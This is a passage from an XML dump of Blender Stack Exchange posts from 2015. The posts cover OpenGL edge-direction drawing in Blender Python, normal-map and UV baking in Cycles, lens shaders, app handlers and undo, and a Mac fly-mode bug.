  <row Id="38129" PostTypeId="2" ParentId="4965" CreationDate="2015-09-06T17:02:06.277" Score="-1" Body="&lt;p&gt;You can change the coordinate system when exporting to Wavefront (.obj).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example, the model has the taper orientend on the Z-axis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2rWJL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2rWJL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you export to .obj (file &gt; export &gt; Wavefront .obj), you can change the coordinate system (in this case, I'm setting the taper on the Y-axis)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/O9Y0P.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O9Y0P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you can import the .obj file and change the options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yysqk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yysqk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/t9pHH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/t9pHH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can play with the forward/up combinations to achieve your goal&lt;/p&gt;&#xA;" OwnerUserId="7668" LastActivityDate="2015-09-06T17:02:06.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38130" PostTypeId="1" AcceptedAnswerId="38418" CreationDate="2015-09-06T17:07:35.213" Score="8" ViewCount="2033" Body="&lt;p&gt;It seems that blender python exposes very limited functionality of OpenGL. I currently want to draw additional information in every edge of a mesh by using OpenGL. Basically the edge direction is what I am looking for. However, I am not getting very good performance for a mesh consisting of 59,620 edges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially I tried opengl drawing using immediate mode, this was too slow. Next I tried using display list. It is good but not what I expected. I'd have to manually update every the display list when there is a change made(adding, deleting edge/vertex/face). Is there any alternative way to do this? Or is there some way I can just get edges displayed on screen/viewport and display properties for them. That way I don't have to go through checking every edges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a checkbox which when enabled simply generates a display list and adds a draw_handler to the view3d scene which calls this display list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YZy52.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YZy52.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PH7Q2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PH7Q2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;First I create the opengl display list using this piece of code. This code simply goes through every edge and creates an arrow representing the edge direction and finally generates the opengl display list. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    def createArrowDisplayList(self, context):&#xA;        ob = context.object&#xA;        if ob is None:&#xA;            return&#xA;&#xA;        if bpy.context.active_object.mode != 'EDIT':&#xA;            return&#xA;&#xA;        ob = context.edit_object&#xA;        me = ob.data&#xA;&#xA;        bm = bmesh.from_edit_mesh(me)&#xA;        index = glGenLists(1)&#xA;&#xA;        glNewList(index, GL_COMPILE)&#xA;        glColor3f(0.0,1.0,1.0)&#xA;        for e in bm.edges:&#xA;            vecFrom = e.verts[0].co&#xA;            vecTo = e.verts[1].co&#xA;&#xA;            middle = (Vector(vecTo) + Vector(vecFrom)) / 2.0&#xA;&#xA;            v = Vector(vecTo) - Vector(vecFrom)&#xA;            v.normalize()&#xA;&#xA;            # if vector is straight pointing up only on z axis ignore it&#xA;            if abs(v.x) &amp;lt; 0.0001 and abs(v.y) &amp;lt; 0.0001:&#xA;                continue&#xA;&#xA;            vPerp1 = Vector((-v.y, v.x, 0.0))&#xA;            vPerp2 = Vector((v.y, -v.x, 0.0))&#xA;&#xA;            v1 = (vPerp1 - v).normalized()&#xA;            v2 = (vPerp2 - v).normalized()&#xA;&#xA;            SCALER = 1.0&#xA;&#xA;            glPushMatrix()&#xA;            hAngle = degrees(v.xy.angle_signed(Vector((0,1))))&#xA;            vAngle = -degrees(v.angle(v.xy.to_3d()))&#xA;            glTranslatef(*middle)&#xA;            glRotatef(hAngle, 0.0, 0.0, 1.0)&#xA;            glRotatef(vAngle, 1.0, 0.0, 0.0)&#xA;            glScalef(SCALER, SCALER, SCALER)&#xA;&#xA;            glBegin(GL_TRIANGLES)&#xA;            glVertex3f( -0.5, -1.0, 0.0 )      &#xA;            glVertex3f( 0.0, 1.0, 0.0 )&#xA;            glVertex3f( 0.5, -1.0, 0.0 )&#xA;            glEnd()&#xA;            glPopMatrix()&#xA;&#xA;&#xA;            &quot;&quot;&quot;&#xA;            glBegin(GL_LINE_STRIP)&#xA;            glVertex3f(*(middle + v1))&#xA;            glVertex3f(*(middle))&#xA;            glVertex3f(*(middle + v2))&#xA;            glEnd()&#xA;            &quot;&quot;&quot;&#xA;&#xA;        glEndList()&#xA;        return index&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then, I add this method to the draw handler on 3D view. Now the display list needs to be refreshed or generated again manually whenever there is any change made to the underlying mesh&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    @staticmethod&#xA;    def draw_callback_px(context, displayListIndex):&#xA;        wm = context.window_manager&#xA;        if wm.mesh_layer.bDisplayEdgeDirection == False:&#xA;            return&#xA;&#xA;        ob = context.object&#xA;        if ob is None:&#xA;            return&#xA;&#xA;        # 50% alpha, 2 pixel width line&#xA;        #glEnable(GL_BLEND)&#xA;        glColor4f(1.0, 1.0, 1.0, 0.5)&#xA;        #glLineWidth(2)&#xA;&#xA;        glPushMatrix()&#xA;        glScalef(*ob.scale)&#xA;        glTranslatef(*ob.location)&#xA;        glCallList(displayListIndex)&#xA;        glPopMatrix()&#xA;&#xA;        # restore opengl defaults&#xA;        glLineWidth(1)&#xA;        glDisable(GL_BLEND)&#xA;        glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15093" LastEditorUserId="15093" LastEditDate="2015-09-12T06:16:28.543" LastActivityDate="2015-09-14T07:20:02.210" Title="Using OpenGL in blender python" Tags="&lt;python&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38131" PostTypeId="1" CreationDate="2015-09-06T18:00:02.687" Score="0" ViewCount="156" Body="&lt;p&gt;So okay I see many tutorials that are really GOOD, but to my surprise they are done with Internal even if the video is not old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I was comparing bake options I didn't see all the options I expected to see as I did see on the Internal bake options for example: Displacement I did not see this option for cycles. This option is important for baking out a combined height map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my current experience it appears to me that Cycles is more for the animation side of things, renders etc, whilst Blender Internal is still great for working with your various maps. I could be totally wrong, but as far as I can tell I should be using Internal for the time being to work with my game textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could shed some light on the situation I would really appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR - Is Blender Internal better for game texturing and baking or is Cycles still the way to go, and I'm just not getting it yet.&lt;/p&gt;&#xA;" OwnerUserId="16576" LastActivityDate="2015-09-06T18:00:02.687" Title="Concerning ease of use Internal or Cycles for applying, and baking textures to Unity?" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38132" PostTypeId="2" ParentId="38121" CreationDate="2015-09-06T18:17:40.727" Score="-1" Body="&lt;p&gt;Save the normal map externally. Then select &quot;usa alpha&quot; in the texture properties and this gets rid of issues with margins and rendering.&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-09-06T19:00:31.683" LastActivityDate="2015-09-06T19:00:31.683" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="38133" PostTypeId="1" AcceptedAnswerId="38137" CreationDate="2015-09-06T18:43:17.940" Score="4" ViewCount="21609" Body="&lt;p&gt;I'm searching all over for a way to paint my UVMap in external tool, in my case photoshop, and them load it back to the mesh in render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is I want to use that blender export feature that creates a basic surface in the uvmap so it would be easy to identify the parts and paint in photoshop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that this feature just exists in blender render as far as I searched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea how to do that in cycles render?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I was clear, thanks&lt;/p&gt;&#xA;" OwnerUserId="14006" LastEditorDisplayName="user1853" LastEditDate="2015-09-06T19:44:55.893" LastActivityDate="2015-09-06T19:44:55.893" Title="How to export UVMap to paint with external tools" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-09-07T02:34:08.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="38134" PostTypeId="2" ParentId="38092" CreationDate="2015-09-06T18:49:13.557" Score="2" Body="&lt;p&gt;If you'll accept speed and on-the-fly adjustability in exchange for some precision, then perhaps &lt;em&gt;&lt;a href=&quot;http://blender.org/manual/getting_started/basics/transformations/transform_control/proportional_edit.html#edit-mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;proportional editing&lt;/a&gt;&lt;/em&gt; is what you are looking for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/O9xdH.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O9xdH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-09-06T18:49:13.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38135" PostTypeId="1" AcceptedAnswerId="38159" CreationDate="2015-09-06T18:52:13.240" Score="0" ViewCount="91" Body="&lt;p&gt;I have a sensor object that I need to execute a certain function once it detects a certain static object. Everything works, except it &lt;em&gt;always&lt;/em&gt; has difficulty detecting it. The only way to make it &lt;em&gt;guaranteed&lt;/em&gt; to work is if I scale the static object by an absurd number, this way it will always collide; however, I can't have my object be so large! Is there any way to fix this issue and have my sensor object detect the static object consistently? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-09-08T08:50:43.820" Title="Objects not detecting each other?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38136" PostTypeId="1" CreationDate="2015-09-06T18:59:29.050" Score="1" ViewCount="320" Body="&lt;p&gt;I know how to use a driver to, for example, make an object rotate as an empty is brought closer to it. But I am wondering if I can use an empty to amplify the keyframe Y values more the closer it gets. This way I can have a forest of trees swaying gently in the wind but for only the tree particles in close proximity to the &quot;wind&quot; empty the sway will intensify to a heavy rocking motion. I would somehow need to specify minimum and maximum amounts of animation. I have no idea what sort of Python expression I would need for this, or if it's even possible to use a driver to amplify keyframed data. Any help appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2952" LastActivityDate="2015-09-06T20:58:13.180" Title="How to make particle animation intensify as an empty comes near?" Tags="&lt;python&gt;&lt;particles&gt;&lt;keyframes&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38137" PostTypeId="2" ParentId="38133" CreationDate="2015-09-06T19:02:04.277" Score="5" Body="&lt;p&gt;Once you unwrap your object. Use &lt;strong&gt;Export UV layout&lt;/strong&gt; in the UV/Image_Editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VmkWP.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VmkWP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then choose the format in which to export your image and the size you want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s1caP.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s1caP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create your texture in Photoshop:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/czWOc.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/czWOc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-09-06T19:07:31.540" LastActivityDate="2015-09-06T19:07:31.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38138" PostTypeId="2" ParentId="38136" CreationDate="2015-09-06T19:22:33.303" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eFkOo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eFkOo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Weights on a lattice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SDa8o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SDa8o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Armature controlling lattice and lattice controls particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HdRhq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HdRhq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Particles can be affected by a lattice.  This might prove to be the least CPU resource consuming.  Lattice can be affected by armature or shape keys et cetera.  Higher UVW specifications may produce more controlled effects.&lt;/li&gt;&#xA;&lt;li&gt;Particles can be affected by forces attached to an empty.  You can use an effector group to minimize force calculation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-09-06T20:58:13.180" LastActivityDate="2015-09-06T20:58:13.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38139" PostTypeId="1" AcceptedAnswerId="38142" CreationDate="2015-09-06T19:52:48.303" Score="8" ViewCount="4807" Body="&lt;p&gt;Currently I'm trying to create a sniper rifle scope, and would like to create a magnified scope effect (with modeled lenses if necessary).&#xA;But I'd like to make this a more general question, as that would be more useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have a magnifying glass, or a gun scope, or a telescope, and I want to turn it into a magnifying lens, what's the best way to go about it in Cycles? &lt;/p&gt;&#xA;" OwnerUserId="5634" LastActivityDate="2015-09-07T16:39:11.337" Title="How do I create a magnified glass effect in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;shaders&gt;&lt;effects&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38142" PostTypeId="2" ParentId="38139" CreationDate="2015-09-06T20:40:38.867" Score="14" Body="&lt;p&gt;The Glass BDSF material in the Cycles renderer does this quite nicely. The controlling variable is the IOR (index of Refraction). Set it to 1.0 and the lens will act like it is made of air (no effect, in essence). Keep it at the default 1.45 and apply the material to a lens-shaped object, and you should see the effect you are looking for. Play around with IOR until you get what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Bv6fh.gif&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bv6fh.gif&quot; alt=&quot;my example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8o5Dn.jpg&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8o5Dn.jpg&quot; alt=&quot;Carlo&amp;#39;s example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16665" LastEditorUserId="16665" LastEditDate="2015-09-07T16:39:11.337" LastActivityDate="2015-09-07T16:39:11.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38143" PostTypeId="1" CreationDate="2015-09-06T21:21:55.370" Score="2" ViewCount="366" Body="&lt;p&gt;I'm using an operator to animate objects via &lt;code&gt;handlers.frame_change_pre&lt;/code&gt; but any &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt;, shutdown all my animated objects.&#xA;How can I fix my &quot;Undo&quot; to remove just the last added handler (in the history) everytime I press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Below an add-on to reproduce the mistake:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select an object. Call &lt;code&gt;SimpleOperator&lt;/code&gt; in the search to animate some objects and then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;handlers suport undo&quot;,&#xA;    &quot;version&quot;: (0, 5),&#xA;    &quot;blender&quot;: (2, 74, 0),&#xA;    &quot;category&quot;: &quot;handlers test&quot;,&#xA;    }&#xA;&#xA;import bpy&#xA;from bpy.app.handlers import persistent&#xA;&#xA;&#xA;def main(context):&#xA;    # get objects and Vars&#xA;    obj  = bpy.data.scenes[0].objects.active&#xA;    bg  = &quot;HdlName_&quot;&#xA;&#xA;    @persistent&#xA;    def track(scene):&#xA;&#xA;        #do something&#xA;        obj.location += obj.location * 0.009 &#xA;        print(bg+obj.name)&#xA;&#xA;    #new handler &#xA;    track.__name__ = bg + str( obj.as_pointer() )&#xA;    bpy.app.handlers.frame_change_pre.append(track)&#xA;&#xA;&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Object Operator&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.active_object is not None&#xA;&#xA;    def execute(self, context):&#xA;        main(context)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6426" LastEditorUserId="3710" LastEditDate="2015-09-07T09:41:26.663" LastActivityDate="2015-09-07T09:41:26.663" Title="How do I make app.handlers suport undo (CTRL+Z)" Tags="&lt;python&gt;&lt;animation&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38144" PostTypeId="1" AcceptedAnswerId="38148" CreationDate="2015-09-06T22:20:35.493" Score="1" ViewCount="2363" Body="&lt;p&gt;Exactly as the title says I got a texture which came with a normal map. When I try to bake out the combined end result for use with a real-time engine such as Unity I get as you see in the image below nothing as far as normal details are concerned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I experimented, and when I plug my normal node into the displacement socket I get some results, but it looks horrible and is not the desired &quot;normal map&quot; effect. Any help on this would be great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GIS9d.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GIS9d.jpg&quot; alt=&quot;Editor&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16576" LastActivityDate="2015-09-06T23:46:28.650" Title="Bake combined normal map in cycles?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38146" PostTypeId="1" AcceptedAnswerId="38158" CreationDate="2015-09-06T22:34:02.637" Score="1" ViewCount="195" Body="&lt;p&gt;I've used material animations and they work fine, even with properties. For some odd reason, the following construction doesn't work:&lt;a href=&quot;https://i.stack.imgur.com/b9Vvr.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b9Vvr.jpg&quot; alt=&quot;image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;hit_frame&quot; works just fine. I don't know why, but the material animation &lt;em&gt;does not&lt;/em&gt; follow it. It seems that it keeps displaying frame 1 instead of 0-10 even though the property is 0-10. How can I fix this? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-09-07T05:20:18.830" Title="Material animations not working with property?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38147" PostTypeId="1" CreationDate="2015-09-06T22:41:30.557" Score="2" ViewCount="345" Body="&lt;p&gt;I'm using the latest build of Blender (2.75a). When I use the fly mode function (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt;) I am unable to control the view of the camera with the mouse. I tried uninstalling and reinstalling, but that didn't work. This function worked fine the other day, but now it won't work. Any help would be appreciated! Working in Blender hasn't been more convenient since I've been using Fly Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Yosemite, and my mouse works with everything else but controlling the camera's direction of view in Fly Mode.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Fixed! The menu bar above the timeline was placed too high for my mouse's movements to be read.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="17948" LastEditorUserId="3710" LastEditDate="2015-09-07T09:53:58.110" LastActivityDate="2015-09-08T22:48:14.070" Title="OS-X - Fly Mode won't respond to mouse movements" Tags="&lt;camera&gt;" AnswerCount="2" CommentCount="8" ClosedDate="2015-09-12T03:55:43.913" ContentLicense="CC BY-SA 3.0" />
  <row Id="38148" PostTypeId="2" ParentId="38144" CreationDate="2015-09-06T22:53:45.363" Score="1" Body="&lt;h2&gt;Normal Pass is generated from Face's Normal Vector&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When you bake the normal map, you are converting the XYZ component of each surface's point normal vector into the correspective RGB color (according to the type of calculation: object, tangent..).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is something that is not related with textures or shading, just geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is correct, every point of your surface has a normal pointing out (local Z axis). That's where the blueish color is coming from (XY&lt;strong&gt;Z&lt;/strong&gt;=&gt;RG&lt;strong&gt;B&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IlR06.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IlR06.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you probably are trying to bake is the &lt;strong&gt;Color&lt;/strong&gt; of the Normal Map. Maybe you have combined several maps or some of them are a procedural textures converted with the bump node... what you need is to bake the Emission Pass (one of the fastes to bake you'll need just 1 sample, as with SSS Color, Glossy Color, Diffuse Color...) of an Emission shader with Strenght=1 that has the color you want in imput:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1ChxJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1ChxJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/474/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=474&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of baking the Normal from procedural textures:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jiS2t.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jiS2t.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5wG0r.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5wG0r.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-09-06T23:46:28.650" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38150" PostTypeId="1" AcceptedAnswerId="38152" CreationDate="2015-09-07T00:22:00.287" Score="4" ViewCount="1661" Body="&lt;p&gt;I'm trying to create shader like &lt;a href=&quot;https://www.google.com/imgres?imgurl=http://imperfectspirituality.com/wp-content/uploads/2013/10/Lucky-dice.jpg&amp;amp;imgrefurl=http://imperfectspirituality.com/2013/10/30/how-to-make-your-own-luck/lucky-dice/&amp;amp;h=2592&amp;amp;w=3888&amp;amp;tbnid=kjglvo3GYA1bTM:&amp;amp;docid=zm9r0IzEplyOJM&amp;amp;ei=FtXsVfvAFY2-uASnrbGoCA&amp;amp;tbm=isch&amp;amp;ved=0CHUQMyhIMEhqFQoTCPuj0bPQ48cCFQ0fjgodp1YMhQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;this image of dice&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imperfectspirituality.com/wp-content/uploads/2013/10/Lucky-dice.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://imperfectspirituality.com/wp-content/uploads/2013/10/Lucky-dice.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you noticed, there is some shadow from dice which cast color of dice, how can i create something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ygbvC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ygbvC.png&quot; alt=&quot;Dice Material&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17951" LastEditorUserId="32220" LastEditDate="2019-07-21T15:18:17.253" LastActivityDate="2019-07-21T15:18:17.253" Title="Shader receive light cast shadow with its color" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="38151" PostTypeId="2" ParentId="38147" CreationDate="2015-09-07T00:30:58.583" Score="1" Body="&lt;p&gt;Yes, it is a bug, specific to Mac. Please see &lt;a href=&quot;https://developer.blender.org/T45771&quot; rel=&quot;nofollow&quot;&gt;the bug report&lt;/a&gt; that has been filed. Basically fly mode used to work fine on Mac in previous versions and now it doesn't, or at least not all of the time. Seems it's intermittent and nobody has been able to figure out the cause yet. But if you chime in on the bug report page it will further validate the issue, and maybe there you can read what other people have observed and get some ideas for how it can be reproduced consistently. Once it can be reproduced consistently, devs can hopefully isolate the cause and get it fixed.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The bug has been fixed! So if you download the latest build you should be good to go! Seems it was a problem with calculation of cursor location on Retina Display Macs. See the new comments in the bug report I linked to for details. Avispa, your workaround seems to evade the problem by readjusting the layout in a specific way - but if you actually want it to be fixed, &lt;a 